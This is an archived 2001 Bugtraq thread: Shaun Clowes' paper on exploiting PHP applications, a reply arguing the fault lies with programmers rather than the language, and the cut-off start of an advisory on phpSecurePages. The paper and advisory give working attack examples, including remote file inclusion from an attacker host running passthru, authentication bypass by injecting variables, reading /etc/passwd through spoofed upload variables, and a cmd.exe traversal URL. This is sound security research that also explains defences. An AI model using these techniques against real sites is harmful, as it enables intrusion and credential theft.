6696341 2001-07-03 00:37 +1000  /14 rader/ Shaun Clowes <shaun@securereality.com.au>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-02  19:54  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17740>
Ärende: A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications
------------------------------------------------------------
SecureReality is pleased to announce the release of our new paper
entitled 'A Study In Scarlet - Exploiting Common Vulnerabilities in
PHP Applications'. The paper is based the speech I presented at the
Black Hat Briefings in Asia in April this year and is accompanied by
4 advisories (of which one will be released at a later date). The
paper can be downloaded from
http://www.securereality.com.au/archives.html and a copy has been
attached to this email.

Sincerely,
Shaun Clowes
SecureReality Pty Ltd
(6696341) /Shaun Clowes <shaun@securereality.com.au>/(Ombruten)
Bilaga (text/plain) i text 6696342
Kommentar i text 6701801 av Chris Adams <chris@improbable.org>
6696342 2001-07-03 00:37 +1000  /693 rader/ Shaun Clowes <shaun@securereality.com.au>
Bilagans filnamn: "studyinscarlet.txt"
Importerad: 2001-07-02  19:54  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17741>
Bilaga (text/plain) till text 6696341
Ärende: Bilaga (studyinscarlet.txt) till: A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications
------------------------------------------------------------
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

                           A Study In Scarlet
          Exploiting Common Vulnerabilities in PHP Applications

                                                                Shaun Clowes
                                                               SecureReality

"A reprint of reminisces from the Blackhat Briefings Asia 2001"

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

--- < Table of Contents > --------------------------------------------------

1. Introduction
2. Caveats and Scope
3. Global Variables
4. Remote Files
5. File Upload
6. Library Files
7. Session Files
8. Loose Typing And Associative Arrays
9. Target Functions
10. Protecting PHP
11. Responsibility - Language vs Programmer
12. Other

"I could imagine his giving a friend a little pinch of the latest
vegetable alkaloid, not out of malevolence, you understand, but
simply out of a spirit of inquiry in order to have an accurate idea
of the effects." - Stamford

--- < 1. Introduction > ----------------------------------------------------

This paper is based on my speech during the Blackhat briefings in
Singapore and Hong Kong in April 2001. The speech was entitled
"Breaking In Through the Front Door - The impact of Web Applications
and Application Service Provision on Traditional Security Models". It
initially discussed the trend towards Web Applications (and ASP) and
the holes in traditional security methodology exposed by this
trend. However, that's a long and boring discussion so I'll save it
for the policy makers.

The rest of the speech was spent talking about PHP. For those reading
this paper who don't know what PHP is, PHP stands for "PHP Hypertext
Preprocessor". It's a programming language (designed specifically for
the Web) in which PHP code is embedded in web pages. When a client
requests a page, the Web Server first passes the page to the language
interpreter so the code can be executed, the resulting page is then
returned to the client.

Obviously this approach is much more suited to the page by page
nature of web transactions than traditional CGI languages such as
Perl and C. PHP (and to some extent other Web Languages) has the
following characteristics:
 + Interpreted
 + Fast Execution - The interpreter is embedded in the web server, no
fork() or setup overhead
 + Feature Rich - Hundreds of non trivial builtin functions
 + Simple Syntax - Non declared and loosely typed variables, 'wordy'
function names

Over the course of this paper I'm going to try to explain why I feel
the last two characteristics make applications written in PHP easy to
attack and hard to defend. Then I'll finish off with a rant about
distribution of 'blame' when it comes to software security.

"You must study him, then ... you'll find him a knotty problem,
though. I'll wager he learns more about you than you about him." -
Stamford

--- < 2. Caveats and Scope > -----------------------------------------------

Almost all the observations in this paper refer to a default install
of PHP 4.0.4pl1 (with MySQL, PostgreSQL, IMAP and OpenSSL support
enabled) running as a module under Apache 1.3.19 on a Linux
machine. This of course means that your mileage may vary, in
particular, there have been many many versions of PHP and they
sometimes exhibit vastly different behaviour given the same input.

Also, proponents of PHP tend to defend the language based on its
extreme configurability. I feel very confident the vast majority of
users will not modify the default PHP configuration at all, lest some
of the amazing array of freely available PHP software stop
working. Thus I don't feel pressured to defend my position based on
configuration options, nonetheless I've included a section about how
to go defending PHP applications using these configuration options.

Finally, some people deride this kind of work as 'trivial' or
'obvious', particularly since I won't be discussing any specific
vulnerabilities in particular pieces of PHP software. To prove the
risks are real and that even programmer's that try hard fall into
these traps 4 detailed advisories in regards to specific pieces of
vulnerable software will be released shortly after this paper.

"I have to be careful ... for I dabble with poisons a good deal." -
Sherlock Holmes

--- < 3. Global Variables > ------------------------------------------------

As mentioned earlier, variables in PHP don't have to be declared,
they're automatically created the first time they are used. Nor are
they specifically typed, they're typed automatically based on the
context in which they are used. This is an extremely convenient way
to do things from a programmer's perspective (and is obviously a
useful feature in a rapid application development language). Once a
variable is created it can be referenced anywhere in the program
(except in functions where it must be explicitly included in the
namespace with the 'global' function). The result of these
characteristics is that variables are rarely initialized by the
programmer, after all, when they're first created they are empty (i.e
"").

Obviously the main function of a PHP based web application is usually
to take in some client input (form variables, uploaded files, cookies
etc), process the input and return output based on that input. In
order to make it as simple as possible for the PHP script to access
this input, it's actually provided in the form of PHP global
variables. Take the following example HTML snippet:

 <FORM METHOD="GET" ACTION="test.php">
 <INPUT TYPE="TEXT" NAME="hello">
 <INPUT TYPE="SUBMIT">
 </FORM>

Obviously this will display a text box and a submit button. When the
user presses the submit button the PHP script test.php will be run to
process the input. When it runs the variable $hello will contain the
text the user entered into the text box. It's important to note the
implications of this, this means that a remote attacker can create
any variable they wish and have it declared in the global
namespace. If instead of using the form above to call test.php, an
attacker calls it directly with a url like
"http://server/test.php?hello=hi&setup=no", not only will $hello =
"hi" when the script is run but $setup will be "no" also.

An example of how this can be a real problem might be a script that
was designed to authenticate a user before displaying some important
information. For example:

 <?php
  if ($pass = "hello")
   $auth = 1;
  ...
  if ($auth == 1)
   echo "some important information";
 ?>

In normal operation the above code will check the password to decide
if the remote user has successfully authenticated then later check if
they are authenticated and show them the important information. The
problem is that the code incorrectly assumes that the variable $auth
will be empty unless it sets it. Remembering that an attacker can
create variables in the global namespace, a url like
'http://server/test.php?auth=1' will fail the password check but the
script will still believe the attacker has successfully authenticated.

To summarize the above, a PHP script _cannot trust ANY variable it
has not EXPLICITLY set_. When you've got a rather large number of
variables, this can be a much harder task than it may sound.

Once common approach to protecting a script is to check that the
variable is not in the array HTTP_GET/POST_VARS[] (depending on the
method normally used to submit the form, GET or POST). When PHP is
configured with track_vars enabled (as it is by default) variables
submitted by the user are available both from the global variables
and also as elements in the arrays mentioned above. However, it's
important to note that there are FOUR different arrays for remote
user input, HTTP_GET_VARS for variables submitted in the URL of the
get request, HTTP_POST_VARS for variables submitted in the post
section of a HTTP request, HTTP_COOKIE_VARS for variables submitted
as part of the cookie headers in the HTTP request and to a limited
degree the HTTP_POST_FILES array (in more recent versions of PHP). It
is completely the end users choice which method they use to submit
variables, one request can easily place variables in all four
different arrays, a secure script needs to check all four (though
again, the HTTP_POST_FILES array shouldn't be an issue except in
exceptional circumstances).

"No man burdens his mind with small matters unless he has some very
good reason for doing so." - John Watson

--- < 4. Remote Files > ----------------------------------------------------

I'm going to repeat this frequently during this document but it bears
repeating, PHP is an extremely feature rich language. It ships with
an amazing amount of functionality out of the box and tries hard to
make life as easy as possible for the coder (or web designer as the
case so often is).  From a security perspective, the more superfluous
functionality offered by a language and the less intuitive the
possibilities, the more difficult it is to secure applications
written in it. An excellent example of this is the Remote Files
functionality of PHP.

The following piece of PHP code is designed to open a file:

 <?php
  if (!($fd = fopen("$filename", "r"))
   echo("Could not open file: $filename<BR>\n");
 ?>

The code attempts to open the file specified in the variable
$filename for reading and if it fails displays an error. Obviously
this could be a simple security issue if the user can set $filename
and get the script to expose /etc/passwd for example but one non
intuitive this code could end up doing is reading data from another
web/ftp site. The remote files functionality means that the majority
of PHPs file handling functions can work transparently on remote
files via HTTP and FTP. If $filename were to contain (for example)
"http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir" PHP
will actually make a HTTP request to the server "target", in this
case trying to exploit the unicode flaw.  This gets more interesting
in the context of four other file functions that support remote file
functionality (*** except under Windows ***), include(), require(),
include_once() and require_once(). These functions take in a filename
and read that file and parse it as PHP code. They're typically used
to support the concept of code libraries, where common bits of PHP
code are stored in files and included as needed. Now take the
following piece of code:

 <?php
  include($libdir . "/languages.php");
 ?>

Presumably $libdir is a configuration variable that is meant to be
set earlier in script execution to the directory where the library
files are stored. If the attacker can cause the variable not to be
set the script (which is typically not a tremendously difficult task)
and instead submit it themselves they can modify the start of the
path. This would normally gain them nothing since they still end up
only being able to access languages.php in a directory of their
choosing (poison null attacks like those possible on Perl don't work
under PHP) but with remote files the attack can submit any code they
wish to be executed. For example, if the attacker places a file on a
web server called languages.php containing the following:

 <?php
  passthru("/bin/ls /etc");
 ?>

then sets $libdir to "http://<evilhost>/" upon encountering the
include statement PHP will make a HTTP request to evilhost, retrieve
the attackers code and execute it, returning a listing of /etc to the
attackers web browser. Note that the attacking webserver (evilhost)
can't be running PHP or the code will be run on the attacking machine
rather than the target machine (see the "Other" section and its
reference to SRADV00006 for an example of code which survives being
on a PHP enabled attacking machine).

"There are no crimes and no criminals in these days" - Sherlock Holmes

--- < 5. File Upload > -----------------------------------------------------

As if PHP hadn't already provided enough to make life easier for the
attacker the language provides automatic support for RFC 1867 based
file upload. Take the following form:

 <FORM METHOD="POST" ENCTYPE="multipart/form-data">
 <INPUT TYPE="FILE" NAME="hello">
 <INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
 <INPUT TYPE="SUBMIT">
 </FORM>

This form will allow the web browser user to select a file from their
local machine then when they click submit the file will be uploaded
to the remote web server. This is obviously useful functionality but
is PHPs response that makes this dangerous. When PHP first receives
the request, before it has even BEGUN to parse the PHP script being
called it will automatically receive the file from the remote user,
it will then check that the file is no larger than specified in the
$MAX_FILE_SIZE variable (10 kb in this case) and the maximum file
size set in the PHP configuration file, if it passes these tests the
file is SAVED on the local disk in a temporary directory.  Please
read that again if that doesn't make you blink, a remote user can
send any file they wish to a PHP enabled machine and before a script
has even specified whether or not it accepts file uploads that file
is SAVED on the local disk.

I'm going to ignore any resource exhaustion attacks that may or may
not be possible using file upload functionality, I think they're
fairly limited if not impossible in any case.

First let's consider a script that IS designed to receive file
uploads. As described above the file is received and saved on the
local disk (in the location specified in the configuration for
uploaded files, typically /tmp) with a random filename (e.g
"phpxXuoXG"). The PHP script then needs information regarding the
uploaded file to be able to process it. This is actually provided in
two different ways, one has been in use since early versions of PHP
3, the other was introduced following our Advisory regarding the
issue I'm about to describe with the former method. Suffice to say
the problem is still alive and well, most scripts continue to use the
old method. PHP sets four global variables to describe the uploaded
file, for example (given the upload form above):

 $hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
 $hello_size = Size in bytes of file (e.g 1024)
 $hello_name = The original name of the file on the remote system (e.g
"c:\\temp\\hello.txt")
 $hello_type = Mime type of uploaded file (e.g "text/plain")

The PHP script then proceeds to work on the file as located via the
$hello variable. The problem is that it isn't immediately obvious
that $hello need not really be a PHP set variable and can simply be
set by a remote attacker.  Take the following form input for example:


http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/
plain&hello_name=hello.txt

That results in the following global PHP variables (of course POST
could be used (even cookies)):

 $hello = "/etc/passwd"
 $hello_size = 10240
 $hello_type = "text/plain"
 $hello_name = "hello.txt"

This form input will provide exactly the variables the PHP scripts
expects to be set by PHP, but instead of working on an uploaded file
the script will infact be working on /etc/passwd (usually resulting
in its content being exposed). This attack can be used to expose the
contents of all sorts of sensitive files (in particular configuration
files containing database and other third tier server credentials).

I noted above that newer versions of PHP provide different methods
for determining the uploaded files (it's done via the
HTTP_POST_FILES[] array mentioned earlier). It also provides numerous
functions to avoid this problem, for example a function to determine
if a particular file is actually one that has been uploaded. These
methods well and truly fix the problem but there is certainly no
shortage of scripts out there still using the old method and still
vulnerable to this sort of attack.

As an alternate attack assisted by file upload consider the following
example PHP code:

 <?php
  if (file_exists($theme)) // Checks the file exists on the local system (no
remote files)
   include("$theme");
 ?>

If the attacker can control $theme they can obviously use this to
read any file on the remote system (except that content inside PHP
tags e.g "<?" will be removed and interpreted probably crashing
immediately). While this is a problem the attackers ultimate goal is
obviously to be able to execute commands on the remote web server and
they can't achieve that by getting the include statement to work on
remote files as discussed earlier. They therefore need to get PHP
code they define into a file local to the remote machine. This sounds
like an impossible task initially but file upload comes to the
rescue. If the attacker creates a file on their machine containing
PHP code to be executed (for example the passthru code shown earlier)
then creates a form which contains a file field called "theme" and
uses this form to submit the file to the script via file upload, PHP
will be kind enough to save the file and set $theme to the location
of the attackers file on the local machine. The file_exists() check
will then succeed and the code will be run.

Given command execution ability on the remote webserver the attacker
will obviously wish to attempt privilege escalation attacks or
attacks on the third tier servers, both of which will probably
require a toolset not present on the webserver. The file upload
functionality once again makes this a non issue, the attacker can
simply upload the attack tools, have them saved by PHP then use their
code execution ability to chmod() the file and execute it. For
example, they could trivially upload a local root exploit (through
the firewall and past the IDS) and execute it.

"It was easier to know it than to explain why I knew it. If you were
asked to prove that two and two made four, you might find some
difficulty, and yet you are quite sure of the fact" - Sherlock Holmes

--- < 6. Library Files > ---------------------------------------------------

I've mentioned the include() and require() functions earlier, I also
said that they're generally used to support the concept of code
libraries. What I mean by that is that common bits of code are put
into a separate file and when needed in the application simply
include()ed from the file. include() and require() will take any
specified filename and read the file and parse its contents as PHP
code.

Initially when people started developing and distributing PHP
applications they chose to distinguish library and main application
code by giving library files the '.inc' extension. However they
quickly found this was a bad move in general since such files aren't
normally parsed as PHP code by the PHP interpreter. If requested from
the web server they will generally have the full source code
returned. This is because the PHP interpreter (when used as an apache
module) determines which files to parse for PHP code based on the
file's extension, the extensions to be interpreted can be chosen by
the administrator but usually a combination of the extensions '.php',
'.php4' and '.php3' is chosen. This is a real problem when sensitive
configuration data (e.g database credentials) is placed in PHP files
that don't have an appropriate extension since a remote attacker can
easily get the source.

The simplest solution (and the one that has since become favored) is
simply to give EVERY file a PHP parsed extension. This prevents a
request to the web server ever returning the raw source for a file
that contains PHP code.  The problem here is that though the source
will no longer be returned, by requesting the file a remote attacker
can have the code that is meant to be used in a framework of other
code executed out of context. This can lead to all of the attacks
I've described earlier.

An obvious example might be the following:

In main.php:
 <?php
  $libDir = "/libdir";
  $langDir = "$libdir/languages";

  ...

  include("$libdir/loadlanguage.php":
 ?>

In libdir/loadlanguage.php:
 <?php
  ...

  include("$langDir/$userLang");
 ?>

When libdir/loadlanguage.php is called in the defined context of
main.php it is perfectly safe. But because libdir/loadlanguage has
the extension .php (it doesn't have to have that extension, include()
works on any file) it can be requested and executed by a remote
attacker. When out of context an attacker can set $langDir and
$userLang to whatever they wish.

"You know a conjuror gets no credit when once he has explained his
trick and if I show you too much of my method of working, you will
come to the conclusion that I am a very ordinary individual after
all" - Sherlock Holmes

--- < 7. Session Files > ---------------------------------------------------

Later versions of PHP (4 and above) provide built-in support for
'sessions'.  Their basic purpose is to be able to save state
information from page to page in a PHP application. For example, when
a user logs in to a web site, the fact that they are logged in (and
who they are logged in) could be saved in the session. When they move
around the site this information will be available to all other PHP
pages. What actually happens is that when a session is started (it's
typically set in the configuration file to be automatically started
on first request) a random session id is generated, the session
persists as long as the remote browser always submits this session id
with requests. This is most easily achieved with a cookie but can
also be done by achieved by putting a form variable (containing the
session id) on every page. The session is a variable store, a PHP
application can choose to register a particular variable with the
session, its value is then stored in a session file at the end of
every PHP script and loaded into the variable at the start of every
script. A trivial example is as follows:

 <?php
  session_destroy(); // Kill any data currently in the session
  $session_auth = "shaun";
  session_register("session_auth"); // Register $session_auth as a session
variable
 ?>

Any later PHP scripts will automatically have the variable
$session_auth set to "shaun", if they modify it later scripts will
receive the modified value.  This is obviously a very handy facility
to have in a stateless environment like the web but caution is also
necessary.

One obvious problem is with insuring that variables actually come
from the session. For example, given the above code, if a later
script does the following:

 <?php
  if (!empty($session_auth))
   // Grant access to site here
 ?>

This code makes the assumption that if $session_auth is set, it must
have come from the session and not from remote input. If an attacker
specified $session_auth in form input they can gain access to the
site. Note that the attacker must use this attack before the variable
is registered with the session, once a variable is in a session it
will override any form input.

Session data is saved in a file (in a configurable location, usually
/tmp) named 'sess_<session id>'. This file contains the names of the
variables in the session, their loose type, value and other data. On
multi host systems this can be an issue since the files are saved as
the user running the web server (typically nobody), a malicious site
owner can easily create a session file granting themselves access on
another site or even examine the session files looking for sensitive
information.

The session mechanism also supplies another convenient place that an
attacker have their input saved into a file on the remote
machine. For examples above where the attacker needed PHP code in a
file on the remote machine, if they cannot use file upload they can
often use the application and have a session variable set to a value
of their choosing. They can then guess the location of the session
file, they know the filename 'php<session id>' they just have to
guess the directory, usually /tmp.

Finally an issue I haven't found a use for is that an attacker can
specify any session id they wish (e.g 'hello') and have a session
file created with that id (for the example '/tmp/sess_hello'). The id
can only contain alphanumeric characters but this might well be
useful in some situations.

"It is a mistake to confound strangeness with mystery" - Sherlock
Holmes

--- < 8. Loose Typing And Associative Arrays > -----------------------------

Just a quick note about these factors.

PHP is a loosely typed language, that is, a variable has different
values depending on the context in which it is being evaluated. For
example, the variable $hello set to the empty string "" when
evaluated as a number has the value 0. This can sometimes lead to non
intuitive results (a factor that was important in the exploitation of
phpMyAdmin in SRADV00008). If $hello is set to "000" it is NOT equal
to "0" nor will the function empty() return true.

PHP arrays are associative, that is, the index to the array is a
STRING and can be set to any string value, it is not numerically
evaluated. This means that the array entry $hello["000"] is NOT the
same as the array entry $hello[0].

Applications need to be careful to validate user input with thought
to the above factors and to do so consistently. I.e don't test is
something is equal to 0 in one place and then validate it using
empty() somewhere else.

"We want something more than mere preaching now" - Mr. Gregson

--- < 9. Target Functions > ------------------------------------------------

When looking for holes in PHP applications (when you have the source
code) it's useful to have a list of functions that are frequently
misused or are good targets if they happen to be used in a vulnerable
manner in the target application. If a remote user can affect the
parameters to these functions exploitation is often possible. The
following is a non exhaustive breakdown.

PHP Code Execution: require() and include() - Both these functions
read a specified file and interpret the contents as PHP code eval() -
Interprets a given string as PHP code preg_replace() - When used with
the /e modifier this function interprets the replacement string as
PHP code

Command Execution: exec() - Executes a specified command and returns
the last line of the programs output passthru() - Executes a
specified command and returns all of the output directly to the
remote browser `` (backticks) - Executes the specified command and
returns all the output in an array system() - Much the same as
passthru() but doesn't handle binary data popen() - Executes a
specified command and connects its output or input stream to a PHP
file descriptor

File Disclosure: fopen() - Opens a file and associates it with a PHP
file descriptor readfile() - Reads a file and writes its contents
directly to the remote browser file() - Reads an entire file into an
array

"There is mystery about this which stimulates the imagination; where
there is no imagination there is no horror" - Sherlock Holmes

--- < 10. Protecting PHP > -------------------------------------------------

All of the attacks I've described above work perfectly on a default
installation of PHP 4. However as I've mentioned numerous times PHP is
endlessly configurable and many of these attacks can be defeated using those
configuration options. There is always a price for security though, so I've
classified the following configuration options according to their
painfulness:
 * = Mostly painless
 ** = Vaguely painful
 *** = Seriously hurts
 **** = Chinese Water Torture

Obviously my ratings are subjective so don't flame me for them. I
will say one thing though, if you use all of the options you'll have
a very secure PHP installation, even third party code will be
reliably secure, it's just that most of it won't work :)

**** - Set register_globals off This option will stop PHP creating
global variables for user input. That is, if a user submits the form
variable 'hello' PHP won't set $hello, only
HTTP_GET/POST_VARS['hello']. This is the mother of all other options
and is best single option for PHP security, it will also kill
basically every third party application available and makes
programming PHP a whole lot less convenient.

*** - Set safe_mode on I'd love to describe exactly what safe_mode
does but it isn't documented completely. It introduces a large
variety of restrictions including:
 - The ability to restrict which commands can be executed (by exec()
etc)
 - The ability to restrict which functions can be used
 - Restricts file access based on ownership of script and target file
 - Kills file upload completely This is a great option for ISP
environments (for which it is designed) but it can also greatly
improve the security of normal PHP environments given proper
configuration. It can also be a complete pain in the neck.

** - Set open_basedir This option prevents any file operations on
files outside specified directories. This can effectively kill a
variety of local include() and remote file attacks. Caution is still
required in regards to file upload and session files.

** - Set display_errors off, log_errors on This prevents PHP error
messages being displayed in the returned web page.  This can
effectively limit an attackers exploration of the function of the
script they are attacking. It can also make debugging very
frustrating.

* - Set allow_url_fopen off
This stops remote files functionality. Very few sites really need this
functionality, I absolutely recommend every site set this option.

There may well be other great options I'm missing, please consult the
PHP documentation

"Our ideas must be as broad as nature if we are to interpret nature" -
Sherlock Holmes

--- < 11. Responsibility - Language Vs Programmer > ------------------------

I contend that it is very hard to write a secure PHP application (in
the default configuration of PHP), even if you try. It's not that PHP
is a bad language, it's amazingly easy to program in and has more
builtin features than any other language I know. However PHP has such
emphasis on rapid development and feature richness that two things
happen:
 - Web designers and other non coders end up writing PHP
applications. They have no understanding whatsoever of the security
implications of the code they are writing. Partly this is because the
mindset isn't what it should be. A PHP application typically runs in
the most exposed environment possible, a universally accessible page
on a web server. This means the mindset should be of coding a network
daemon that will be routinely attacked, or of a setuid root
application. Instead the mindset is functionality at all costs like
it would be while writing an unprivileged local application. If your
web server is penetrated it provides a gateway to the third tier, it
is always a bad thing, even if the access is as nobody (as
penetrating a PHP application will typically provide).
 - Code behaviour becomes unpredictable. An include() statement that
postfixes a user variable with "image.php" would normally be
perfectly safe, the user can only specify which directory to retrieve
that file from (and presumably cannot create a file image.php on the
remote machine). When remote files functionality is allowed it
becomes a nightmare. This is completely non intuitive.

A lot of people blame programmer's for the code they write, I
personally feel that if a language makes it hard for a programmer to
write good code (particularly by being counterintuitive) the language
must itself take some of the blame for the situation. It's not good
enough to just say the programmer should know better. In almost every
PHP application I've audited the programmer's have _tried_ to get it
right and only been let down by their understanding of the
intricacies of PHP. In its search for the ultimate functionality PHP
has undermined the programmer's ability to understand the workings of
their code in all situations.

"I have all the facts in my journal, and the public shall know them"
- John Watson

--- < 12. Other > ----------------------------------------------------------

This is just a section for various other resources.

At a time when I thought no-one else was interested in PHP security,
a few great posts/advisories/papers have popped up:
- Rain Forest Puppy
 RFP 2101 - "RFPlutonium to fuel your PHP-Nuke"
 http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=2
- João Gouveia
 Many posts to Bugtraq, check them all out, but as a selection
 http://www.securityfocus.com/templates/archive.pike?list=1&mid=165519
 http://www.securityfocus.com/templates/archive.pike?list=1&mid=147104
- Jouko Pynnonen
 http://www.securityfocus.com/templates/archive.pike?list=1&mid=169045

There are many others, sorry I didn't list them all.

SecureReality have released a number of advisories regarding PHP
applications which should serve to illustrate the problems I've
outlined in this paper fairly well:
- SRADV00001 - Arbitrary File Disclosure through PHP File Upload
 http://www.securereality.com.au/sradv00001.html
- SRADV00003 - Arbitrary File Disclosure through IMP
 http://www.securereality.com.au/sradv00003.html
- SRADV00006 - Remote command execution vulnerabilities in
phpGroupWare
 http://www.securereality.com.au/sradv00006.html
- SRADV00008 - Remote command execution vulnerabilities in phpMyAdmin
and phpPgAdmin
 http://www.securereality.com.au/sradv00008.txt
- SRADV00009 - Remote command execution vulnerabilities in
phpSecurePages
 http://www.securereality.com.au/sradv00009.txt
- SRADV00010 - Remote command execution vulnerabilities in
SquirrelMail
 http://www.securereality.com.au/sradv00010.txt
- SRADV00011 - Remote command execution vulnerabilities in WebCalendar
 http://www.securereality.com.au/sradv00011.txt

The last four were presented during my speech at the BlackHat
Briefings in Singapore and Asia in 2001. Audio/Video of the speech
will (at some stage) be available at http://www.blackhat.com. For
anyone interested in security, I can't suggest more strongly that you
go to the briefings.

Finally, incase anyone wondered where the title came from and all
those quotes at the end of each section, they're from the short story
"A Study In Scarlet" by Sir Arthur Conan Doyle which was also the
first story in which the character Sherlock Holmes appeared.

"I must thank you for it all. I might not have gone but for you, and
so have missed the finest study I ever came across: a study in
scarlet eh?" - Sherlock Holmes
(6696342) /Shaun Clowes <shaun@securereality.com.au>/(Ombruten)
6701801 2001-07-02 15:36 -0700  /53 rader/ Chris Adams <chris@improbable.org>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-03  20:09  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17768>
Kommentar till text 6696341 av Shaun Clowes <shaun@securereality.com.au>
Ärende: Re: A Study In Scarlet - Exploiting Common Vulnerabilities in PHP
------------------------------------------------------------
 Applications
From: Chris Adams <chris@improbable.org>
To: <bugtraq@securityfocus.com>
Message-ID: <B7664566.2A32%chris@improbable.org>

on 2001-07-02 07:37, Shaun Clowes at shaun@securereality.com.au wrote:

> SecureReality is pleased to announce the release of our new paper entitled
> 'A Study In Scarlet - Exploiting Common Vulnerabilities in PHP

You listed many common mistakes, which is good, but I think your
conclusion ("I contend that it is very hard to write a secure PHP
application (in the default configuration of PHP), even if you try.")
is somewhat off-target. It really should be something like "PHP does
not prevent bad programmers from writing insecure code", particulary
if you consider "even if you try" to imply more than the most cursory
effort.
 
For example, consider how many of these problems disappear if you
correct three common mistakes:
    - failure to place private files outside of the webroot
    - failure to check user input
    - failure to structure a program to prevent people from calling
code in creative ways[1]

We've all seen these before.

It's really quite easy to write a  secure application in PHP -
assuming you have the necessary security literacy, which is the real
issue. PHP is no more vulnerable to these problems than any other
language - problems like these have been reported in everything from
ASP to Zope - and in fact makes it easier to protect against them
than many environments[2]. It's also no secret that much of the PHP
code available in various opensource projects is not particularly
well-written.

Since all of these problems are quite easy to avoid, what we really
need is to improve the security literacy of the average
programmer. Without at least basic security awareness, the odds that
a programmer won't remember to do something trivial like declaring
critical variables but will handle the less obvious challenges
correctly approach zero.

Chris

[1] e.g. PHP provides include_once() and require_once() for this
purpose - if bar.php depends variables which are defined in foo.php,
it should have a require_once("foo.php") at the top. Similarly,
rather than using the something like include("$configPath/file"), you
should either set include_path or use constants, which can't be set
by attackers.

[2] e.g. magic_quotes_gpc helps prevent an entire class of attacks
and there are a number of validation functions which are quite easy
to use, hopefully enough so that they will actually be used.
(6701801) /Chris Adams <chris@improbable.org>/(Ombruten)
6696472 2001-07-03 00:40 +1000  /205 rader/ Shaun Clowes <shaun@securereality.com.au>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-02  20:25  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17743>
Ärende: (SRADV00009) Remote command execution vulnerabilities in phpSecurePages
------------------------------------------------------------
From: "Shaun Clowes" <shaun@securereality.com.au>
To: <bugtraq@securityfocus.com>
Message-ID: <010001c10304$f3f6b9f0$1400a8c0@copperfield>

=================================================
Secure Reality Pty Ltd. Security Advisory #9 (SRADV00009)
http://www.securereality.com.au
=================================================

[Title]
Remote command execution vulnerabilities in phpSecurePages

[Released]
2/7/2001

[Vulnerable]
Versions up to and including Beta 2.4

[Overview] phpSecurePages is a very easy to use tool for password
protecting portions of websites on PHP enabled webservers.

In versions specified phpSecurePages makes insecure calls to the PHP
function include(). Installations of the versions specified are
vulnerable to attacks in which the attacker gains the ability to
execute arbitrary commands (and code) on the remote web server with
the permissions of the web server user, typically
'nobody'. phpSecurePages can be configured to use a Database for
authorization information, in this case the remote command execution
vulnerability can be used to read the configuration files and
disclose the database credentials therein.

[Impact]
Remote command execution (with privileges as above)
Possible disclosure of Database Credentials

[Detail] Please note that this vulnerability was discussed in detail
at the Black Hat Briefings in Hong Kong and Singapore in Asia
2001. At some stage, Powerpoint presentation notes and audio/video of
the presentation will become available at http://www.blackhat.com.

Note also that this description will be best understood (and is
released in conjunction with) our new paper "A Study In Scarlet -
Exploiting Common Vulnerabilities in PHP Applications" which can be
downloaded from http://www.securereality.com.au/archives.html

As with all the advisories released in conjunction with the paper above I'm
going to describe this problem in gross detail, from finding the hole to
exploiting it (sidestepping various annoying barriers along the way).

phpSecurePages is designed to be an easy to use way to password
protect portions of websites. In order to protect a particular web
page using phpSecurePages the administrator needs to make that page
parseable by php (usually by giving it a specific file extension,
often '.php') then put on line of PHP code into that page which looks
like the following:

 <?php include("<path to phpSecurePages>/secure.php"); ?>

The include statement is used to cause PHP to read a particular file
and interpret its contents at PHP code. The above line reads in the
phpSecurePages code and executes it (when the restricted page is
accessed), the code in turn performs authentication etc.

The problem in the phpSecurePages code is spotted extremely easily
with a grep of the source. The following line of code in
checklogin.php looks dangerous:

102         include($cfgProgDir . "interface.php");

If an attacker can control the content of $cfgProgDir they can
provide a value like "http://my.evil.server.com/" and PHP's remote
files functionality will cause the phpSecurePages application to
request the interface.php file from my.evil.server.com then execute
its content on the remote machine.

So first we need to understand the context of this call. The first
question to be asked is the purpose of checklogin.php in the
application. Taking a look in secure.php (remembering secure.php is
the file that is included by other pages to get phpSecurePages
authentication):

 9 /****** Installation ******/
10 $cfgProgDir =  '/~shaman/phpSecurePages/';
11   // location of phpSecurePages calculated from the root of the server
12   // Example: if you installed phpSecurePages on
http://www.mydomain.com/phpSecurePages/
13   // the value would be $cfgProgDir = '/phpSecurePages/'
14 $cfgIndexpage = '/index.php';

... lots of other configuration information (language, image
locations etc) ...

125 include($cfgProgDir . "lng/" . $languageFile);
126 include($cfgProgDir . "session.php");
127
128
129 // choose between login or logout
130 if ($logout && !($HTTP_GET_VARS["logout"] || $HTTP_POST_VARS["logout"]))
{
131         // logout
132         include($cfgProgDir . "logout.php");
133 } else {
134         // loading login check
135         include($cfgProgDir . "checklogin.php");
136 }
137 ?>

Basically secure.php is mostly full of configuration information for
the phpSecurePages installation. Once its set up the configuration
environment it determines if the request is to logon or logoff (on
line 130) and based on that includes either logout.php or
checklogin.php. checklogin.php is meant to be included and executed
by secure.php when the request is for a logon. This is the PHP
library files concept, code is compartmentalized into separate PHP
source files which can simply be included when needed.

As discussed in 'A Study In Scarlet' the fact that files with non PHP
parsed extensions (e.g '.inc') will be returned as source when
requested remotely has caused many people to give every file a PHP
parsed extension to prevent source disclosure (particularly a problem
for configuration scripts containing database credentials etc). The
problem with this is that it allows files that are never meant to be
executed except in the context of other scripts to be executed by
remote attackers in unsafe environments. If checklogin.php is called
directly it cannot rely on any of the configuration variables, in
